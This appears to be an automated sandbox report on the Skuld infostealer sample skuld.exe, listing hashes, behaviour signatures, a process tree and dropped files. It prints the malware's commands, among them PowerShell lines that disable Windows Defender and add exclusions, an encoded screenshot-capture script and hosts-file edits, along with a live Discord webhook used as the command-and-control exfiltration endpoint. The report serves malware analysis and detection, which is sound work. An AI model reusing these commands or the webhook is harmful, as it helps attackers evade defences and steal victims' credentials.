Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-10-2024 02:51

General

  • Target

    skuld.exe

  • Size

    9.8MB

  • MD5

    cfe962e1730123425862d3ed1f87357e

  • SHA1

    fdb545123e742f82fdfc6f60b9fb36b7f273e317

  • SHA256

    b823cd4b5f51c2aca5da001c8d9f1a48489ef27370bbf639549913843e1be699

  • SHA512

    f99f3c00a00ec12cbfce9e65508429ba71cd4bd4efa2a48ef7e34e2295c9cfba5322457839723088052f7a91b3653687cdade2aadd8a788a55903fe0a3bacfc4

  • SSDEEP

    98304:ujoGgersz5XxkXX9jKNkeEkRJVEWpJBJZrZ6QmEHr:ujzrszc4NkeE+Jm85mEHr

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1296302322007146567/s26FESYbNgv6dHTRzvf3V4yWoNeWLchott0cNcCquKmuP8BVU-cT-pNPgpIqbVY4_0uW

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5064
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:5088
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1176
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3204
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:2752
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3348
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4672
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4460
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dwg13p4f\dwg13p4f.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:840
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES96F0.tmp" "c:\Users\Admin\AppData\Local\Temp\dwg13p4f\CSC95D52C758ED3465FA4EC26E68A16A22.TMP"
          4⤵
            PID:2940
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:5028
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:3132

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      77d622bb1a5b250869a3238b9bc1402b

      SHA1

      d47f4003c2554b9dfc4c16f22460b331886b191b

      SHA256

      f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

      SHA512

      d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      9c740b7699e2363ac4ecdf496520ca35

      SHA1

      aa8691a8c56500d82c5fc8c35209bc6fe50ab1d9

      SHA256

      be96c91b62ba9ba7072ab89e66543328c9e4395150f9dbe8067332d94a3ecc61

      SHA512

      8885683f96353582eb871209e766e7eba1a72a2837ce27ea298b7b5b169621d1fa3fce25346b6bfd258b52642644234da9559d4e765a2023a5a5fc1f544cc7af

    • C:\Users\Admin\AppData\Local\Temp\2jIwm7HKSI\Display (1).png

      Filesize

      415KB

      MD5

      03a0a157b4f8facb342acbe5e36a1443

      SHA1

      ec4bfd14f5c9950206ff8cf78c51e277c4e69acb

      SHA256

      df4dfd26c65dceafe5a162721fa2a482fa0a94287ee0f0f48a148cc926e6e19a

      SHA512

      4b28d0bafebaa1b4975c3eb76acd66d45c32da5173e866c73ea71b988f674b202976e1d40b144bf008e8d6af75816eace405c03ba6082e9357dd182dcb1f8c4c

    • C:\Users\Admin\AppData\Local\Temp\RES96F0.tmp

      Filesize

      1KB

      MD5

      f2992d9d6a77c68fef61035466b50246

      SHA1

      3fe8edd324cbc83f2df6f7086ace05275f39ca54

      SHA256

      7661c7153db44c6ed05440266151288a2a8e53b1df8a76835531f3dc674ef0c5

      SHA512

      79fb421e32efadcc27639abf6160d9b791318b2edbf66e0f988d5d1831db4cf80cd9a63e0fe4a6ce94fefceb1b1d0d99bb78763126a8ffb517c8cff0aa9817b1

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_detjtb5b.cyc.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\dwg13p4f\dwg13p4f.dll

      Filesize

      4KB

      MD5

      67137f26e3a5b5cdd985cdf89eaaefe1

      SHA1

      a3e5b7e51887af92ece6a5717dbb82542684dee8

      SHA256

      37c40c9fc253c62b74033620a97cff44142e3b9312518b663d7629baa5c8f0e0

      SHA512

      49d29ec8c25b2dc465e7d25051e186c21646d993ada92bf083ae67c5678b8e799b2939e48a7e16fca2be8e01472de99e850e35793b4770522c999577126105f5

    • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

      Filesize

      9.8MB

      MD5

      cfe962e1730123425862d3ed1f87357e

      SHA1

      fdb545123e742f82fdfc6f60b9fb36b7f273e317

      SHA256

      b823cd4b5f51c2aca5da001c8d9f1a48489ef27370bbf639549913843e1be699

      SHA512

      f99f3c00a00ec12cbfce9e65508429ba71cd4bd4efa2a48ef7e34e2295c9cfba5322457839723088052f7a91b3653687cdade2aadd8a788a55903fe0a3bacfc4

    • C:\Windows\System32\drivers\etc\hosts

      Filesize

      2KB

      MD5

      6e2386469072b80f18d5722d07afdc0b

      SHA1

      032d13e364833d7276fcab8a5b2759e79182880f

      SHA256

      ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

      SHA512

      e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

    • \??\c:\Users\Admin\AppData\Local\Temp\dwg13p4f\CSC95D52C758ED3465FA4EC26E68A16A22.TMP

      Filesize

      652B

      MD5

      63b252d20ce6ddad9200ae2d08554310

      SHA1

      1fb9aa9e28c9930ed5cd27e330e1d13217e001d5

      SHA256

      fef050741de4e44c89b11f047d6df9e884b7be9d396ac43270138bfd35a0d939

      SHA512

      f2601f0181a62d287d37a01e4f2132de98a55ed6b139545ffa401926fad4e07533d9e20101e75f022383098b565308b2fe14a405a1add2ca2e159798dddd8ea9

    • \??\c:\Users\Admin\AppData\Local\Temp\dwg13p4f\dwg13p4f.0.cs

      Filesize

      1004B

      MD5

      c76055a0388b713a1eabe16130684dc3

      SHA1

      ee11e84cf41d8a43340f7102e17660072906c402

      SHA256

      8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

      SHA512

      22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

    • \??\c:\Users\Admin\AppData\Local\Temp\dwg13p4f\dwg13p4f.cmdline

      Filesize

      607B

      MD5

      dd870bfb1576082007d0e54da0229c01

      SHA1

      afa10dcb14899af18d07bb7707a1bc48da6d5f97

      SHA256

      50a60540302c06adfe0c08007a404cc7e763866011becc1d55a69e73516ae59c

      SHA512

      bfa7b1b77624313ff59fb3a9c0d3d7b6613adf4b598f720c790e44d59fb0f5fa8a3046979c8427fcf16c92373f091e34d4d1dbee19e1afdaa70fc0108a3a3084

    • memory/3204-1-0x00007FFC5A7C3000-0x00007FFC5A7C5000-memory.dmp

      Filesize

      8KB

    • memory/3204-21-0x00007FFC5A7C0000-0x00007FFC5B281000-memory.dmp

      Filesize

      10.8MB

    • memory/3204-15-0x00007FFC5A7C0000-0x00007FFC5B281000-memory.dmp

      Filesize

      10.8MB

    • memory/3204-10-0x00007FFC5A7C0000-0x00007FFC5B281000-memory.dmp

      Filesize

      10.8MB

    • memory/3204-9-0x000001F471B90000-0x000001F471BB2000-memory.dmp

      Filesize

      136KB

    • memory/4460-61-0x0000016C53700000-0x0000016C53708000-memory.dmp

      Filesize

      32KB